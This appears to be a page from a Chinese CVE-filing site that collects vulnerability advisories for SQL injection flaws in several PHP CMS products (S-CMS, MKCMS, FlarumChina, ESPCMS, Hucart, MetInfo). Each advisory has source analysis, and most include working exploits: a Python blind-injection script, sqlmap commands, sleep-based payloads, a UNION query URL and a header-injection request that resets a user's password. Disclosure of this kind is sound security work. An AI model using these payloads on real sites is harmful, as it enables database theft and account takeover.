CVE中文申请站

CVE-2019-12860:S-CMS PHP v3.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v3.0存在SQL注入漏洞
上报日期: 2019-05-31
漏洞发现者: zhhhy
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v3.0
CVE编号: CVE-2019-12860


二、漏洞概述

漏洞代码位置:/js/scms.php 第182-204行

1.png
代码分析:
在第83行处,变量$pageid接受使用POST方式传递的pageid的值。而在第87行和第95行处,变量$pageid被直接拼接进SQL语句之中,从而产生注入。而由于是数字型注入,避免使用单引号等符号以至于绕过了防御。
构造如下数据包 ,如图所示。
2.png
可以看到数据包回显了20151019102732946.jpg。
而构造错误的数据包如下
3.png
会发现错误的数据包不会回显20151019102732946.jpg。由此可以判断这是一个布尔型注入。

三、利用方法

构造如下poc.py

POC代码如下:
import requests
import urllib.parse

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'

url='http://106.14.144.32:2000/js/scms.php'

def getDatabaseLength():
    print('开始爆破数据库长度。。。')
    for i in range(10):
        payload="1%0Aand%0Aif(length(database())>{},1,0)#".format(i)
        payload=urllib.parse.unquote(payload)
        data = {
            'action':'jssdk',
            'pagetype':'text',
            'pageid':payload
        }
        # print(data)
        # data = urllib.parse.unquote(data)
        # print(data)
        rs = requests.post(url=url,data=data)
        rs.encode='utf-8'
        # print(rs.text)
        if "20151019102732946.jpg" not in rs.text:
            print("数据库名的长度为:{}".format(i))
            return i

def getDatabaseName():
    print('开始获取数据库名')
    databasename = ''

    length = getDatabaseLength()
    # length = 4
    for i in range(1,length+1):
        for c in chars:
            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
            # print(payload)
            payload = urllib.parse.unquote(payload)
            data = {
                'action': 'jssdk',
                'pagetype': 'text',
                'pageid': payload
            }
            rs = requests.post(url=url, data=data)
            rs.encode = 'utf-8'
            # print(rs.text)
            if "20151019102732946.jpg" in rs.text:
                databasename = databasename+c
                print(databasename)

    return databasename
getDatabaseName()


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/254/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12860
exploit-db:发布中

CVE-2019-12859:MKCMS V5.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在SQL注入漏洞
上报日期: 2019-05-29
漏洞发现者: zhhhy
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-12859


二、漏洞概述

1、漏洞存在在http://127.0.0.1/ucenter/reg.php 中 name字段。漏洞URL:http://127.0.0.1/ucenter/reg.php
2、漏洞存在在http://127.0.0.1/ucenter/active.php 中 verify字段。漏洞URL:http://127.0.0.1/ucenter/active.php?verify=a
1.png

三、利用方法

下面以reg.php 中 name字段为例,先使用burp抓取如下数据包
2.png
然后保存为post.txt
3.png

使用sqlmap获取数据
4.png

源码分析:
上面的文章中提到了,在注册页面存在注入。增加了几条输出语句来观察一下语句拼接的情况。
5.png
其实该CMS对GET和POST参数都进行了处理,然鹅,不知道什么原因,又把转义给去除了
6.png
处理也是有限的,只是对特殊字符串进行转移,以至于无法防御后面的数字型注入。
7.png

active.php 中 verify字段可使用sqlmap获取数据
sqlmap.py -u 106.14.144.32:1777/ucenter/active.php?verify=a --dbs
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/226/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12859
exploit-db:发布中

CVE-2019-10708:S-CMS PHP v1.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v1.0存在SQL注入漏洞
上报日期: 2019-04-01
漏洞发现者: cuokon
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10708


二、漏洞概述

在js目录下的scms.php存在sql盲注
漏洞源码
1.png
这里接受了一个id的参数,在其他地方都有把typeid转换为数字,可是这里没有转换而是直接截取了字符串然后放到sql语句执行,虽然这里有字符串拼接的时候加了个unlike在进行判断,可是并不影响,因为通过fuzz可以直接报出来!这里也有对空格单引号和双引号进行过滤,但是这里是数字类型的sql语句所以不需要双引号的闭合。
因为这里过滤掉了空格(%20),把%20改为%09即可绕过。

三、利用代码

Payload为:

http://127.0.0.1/cms/4/js/scms.php?action=unlike&id=t1%09and%09sleep(15)&timestamp=10000000000000000&key=830330726b002ca3514de00392105c92

2.png
3.png
可以看到我设置了延迟了15秒请求时间为15.05s,然后我在猜测一下他数据库的第一个字母s的ascii码是115,然后通过时间看到了是5.02秒和我设置设置的延迟时间差不多,所以判断存在sql盲注。

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/185/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10708
exploit-db:发布中

CVE-2019-10707: MKCMS V5.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: MKCMS V5.0存在SQL注入漏洞
上报日期: 2019-03-30
漏洞发现者: sueyuDen
产品首页: https://micool.net/1090.html
软件链接: https://www.lanzous.com/i2ipcre
版本: V5.0
CVE编号: CVE-2019-10707


二、漏洞概述

下载源码后本地搭建。
1.png
漏洞存在在http://127.0.0.1/mkcms/bplay.php
漏洞URL:http://127.0.0.1/mkcms/bplay.php?play=1
用sqlmap跑
sqlmap命令:python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs
2.png
3.png
可以跑出库名,表名,字段等等。
4.png
源码分析:
打开bplay.php
5.png
漏洞语句在第四行
可以看到这里它对play参数没有做过滤的就直接带入了sql语句,从而导致了sql注入。

三、利用代码

exp代码如下:
sqlmap命令为

python2 sqlmap.py -u "http://127.0.0.1/mkcms/bplay.php?play=1" --batch --dbs


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/181/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10707
exploit-db:发布中

CVE-2019-9566:FlarumChina-beta.7C前台SQL注入

一、漏洞摘要

漏洞名称: FlarumChina-beta.7C前台SQL注入
上报日期: 2019-03-03
漏洞发现者: admin-神风
产品首页: https://github.com/skywalker512/FlarumChina/
软件链接: https://github.com/skywalker512/FlarumChina/
版本: FlarumChina-beta.7C
CVE编号: CVE-2019-9566


二、漏洞概述

前台搜索框一处盲注
可以通过substr函数进行注入
lll.png

三、利用代码

可以使用sqlmap进行注入。
Exp:

http://localhost/?q=1%' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='f' --+


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/127/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9566
exploit-db:发布中
cxsecurity:https://cxsecurity.com/issue/WLB-2019010224
发现者blog:https://www.cnblogs.com/wh4am1/p/10257593.html

CVE-2019-5488:ESPCMS企业网站管理系统P8存在SQL注入漏洞

一、漏洞摘要

漏洞名称: ESPCMS企业网站管理系统P8存在SQL注入漏洞
上报日期: 2019-01-04
漏洞发现者: Sins
产品首页: https://www.earclink.com/html/cn/espcms/
软件链接: https://www.earclink.com/html/cn/download_espcms/
版本: P8
CVE编号: CVE-2019-5488


二、漏洞概述

由于SQL语句的拼接不当,导致存在SQL注入,具体请看漏洞代码
/install_pack/espcms_public/espcms_db.php
205-363
1.png
跟踪代码,发现仅在输出处使用了addslashes函数进行转义,具体代码如下:
/install_pack/espcms_web/Member.php
437-439
2.png

三、利用代码

时间盲注,判定漏洞存在后,可以使用sqlmap进行注入。
Exp:

1.(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
2.(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

以下是sqlmap:

payload:ac=Member&at=verifyAccount&verifyType=0&verify_key=(SELECT (CASE WHEN (9456=9456) THEN 9456 ELSE 9456*(SELECT 9456 FROM INFORMATION_SCHEMA.PLUGINS) END))

3.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/108/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5488
exploit-db:发布中

CVE-2018-19468:Hucart cms v5.7.4 SQL注入漏洞

一、漏洞摘要

漏洞名称: Hucart cms v5.7.4 SQL注入漏洞
上报日期: 2018-11-20
漏洞发现者: zzzzzzzz
产品首页: http://www.hucart.com/
软件链接: http://www.hucart.com/
版本: v5.7.4
CVE编号: CVE-2018-19468


二、漏洞概述

Hucart cms v5.7.4未对HTTP头部数据进行安全过滤,产生SQL注入漏洞。
文件system/class/helper_class.php第4-38行代码如下:
1.png
2.png
方法get_ip未对HTTP_X_FORWARDED_FOR等头内部的数据进行校验,并将其中的值作为IP地址直接返回,代码多处功能均调用此方法获取IP地址插入数据库,故产生多处SQL注入漏洞,其中一处如下:
文件application/user/login.php使用act_login方法处理普通用户登陆请求,如登陆成功,则对数据库进行更新,其具体实现位于81-101行,如下图:
3.png
代码于第83行调用get_ip方法获取IP地址$user_ip并于99行拼接入SQL语句中执行,故攻击者可在HTTP_X_FORWARDED_FOR等头内部插入攻击向量,发动SQL注入攻击。

三、利用代码

exp代码如下:
在HTTP_X_FORWARDED_FOR中插入SQL注入攻击向量即可,例如对于普通用户登陆界面处的注入漏洞,其请求如下:
攻击者即可通过注入漏洞修改任意用户密码,也可发动其他类型的SQL注入攻击。

POST /user/index.php?load=login&act=act_login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/user/index.php?load=login&act=act
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: csrftoken=o2JPu6uSjJAMj0bgh2AB90bgd4igPjzCtfvrhP6jTFKpy87BxZfZIb31OqfJutMz; PHPSESSID=btl6d5bko1cd6voo5nshln498g; ck_num=a600bd172fcabd688500dac58ebda3a0
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: attack', use_pwd=md5('attack') Where use_name='test1' #

use_name=test&use_pwd=123456&use_captcha=asdasdd&submit=


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/83/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19468
exploit-db:发布中

CVE-2018-18887:s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入

一、漏洞摘要

漏洞名称: s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: https://www.s-cms.cn/
软件链接: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/6.news.php.zip
版本: php ver 1.0
CVE编号: CVE-2018-18887


二、漏洞概述

开启前台注册后,投稿发文章type参数存在SQL注入。


三、利用方法

漏洞存在位置:member/member_news.php
1.png
在8-11行 定义了一个变量去接受外部传参 变量名“$N_type”在本文件下搜索这个变量名逐个跟踪分析
2.png
这一段代码 是通过传来的参数进行判断文章是否通过审核,不理会 继续跟踪
3.png
87-93行 是将数据判断后显示在页面 继续跟踪
4.png
114行sql语句这里就有问题了,他是将变量拼接进入语句里 可控 我在115行将sql语句输出 看看页面是怎么样的
5.png
这是文章页面
6.png
然后 输入 and 1=1 和 and 1=2 看下页面的变化情况
7.png
可以看到 直接将用户输入的数据直接给拼接到sql语句了 直接去带入数据执行
下图是 and 1=2时的结果,两个图做一下对比 ,很明显的 下面的数据没有显示出来 也就是说明 这个地方是存在sql注入的
8.png
接下来 使用sqlmap 跑一下,此处要注意:必须要抓包进行post注入 不然没有cookie参数 sqlmap是无法进行注入的,看下图:
9.png
成功跑出数据库


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/75/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18887
exploit-db:发布中

CVE-2018-17129:Metinfo-6.1.2版本存在SQL注入漏洞

一、漏洞摘要

漏洞名称: Metinfo-6.1.2版本存在SQL注入漏洞
上报日期: 2018-10-12
漏洞发现者: 踏月留香
产品首页: https://www.metinfo.cn/
软件链接: https://www.metinfo.cn/upload/file/MetInfo6.1.2.zip
版本: 6.1.2
CVE编号: CVE-2018-17129


二、漏洞概述

漏洞存在于MetInfo6.1.2/app/system/feedback/admin/feedback_admin.class.php页面中,由于该页面的class1参数过滤不严,导致存在SQL注入漏洞。
本地搭建网站,首先登录网站后台:http://172.16.141.134/MetInfo6.1.2/admin/,登录成功后,构造payload:
http://172.16.141.134/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1//union//select//concat(0x3a,user(),0x3a)//from/**/information_schema.tables&met_fd_export=-1,访问后网站会导出一个excel表,excel表的名称为数据库用户名:
sqli.png

三、利用代码

exp代码如下:

http://127.0.0.1/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1/**/union/**/select/**/concat(0x3a,user(),0x3a)/**/from/**/information_schema.tables&met_fd_export=-1


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/54/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17129
exploit-db:发布中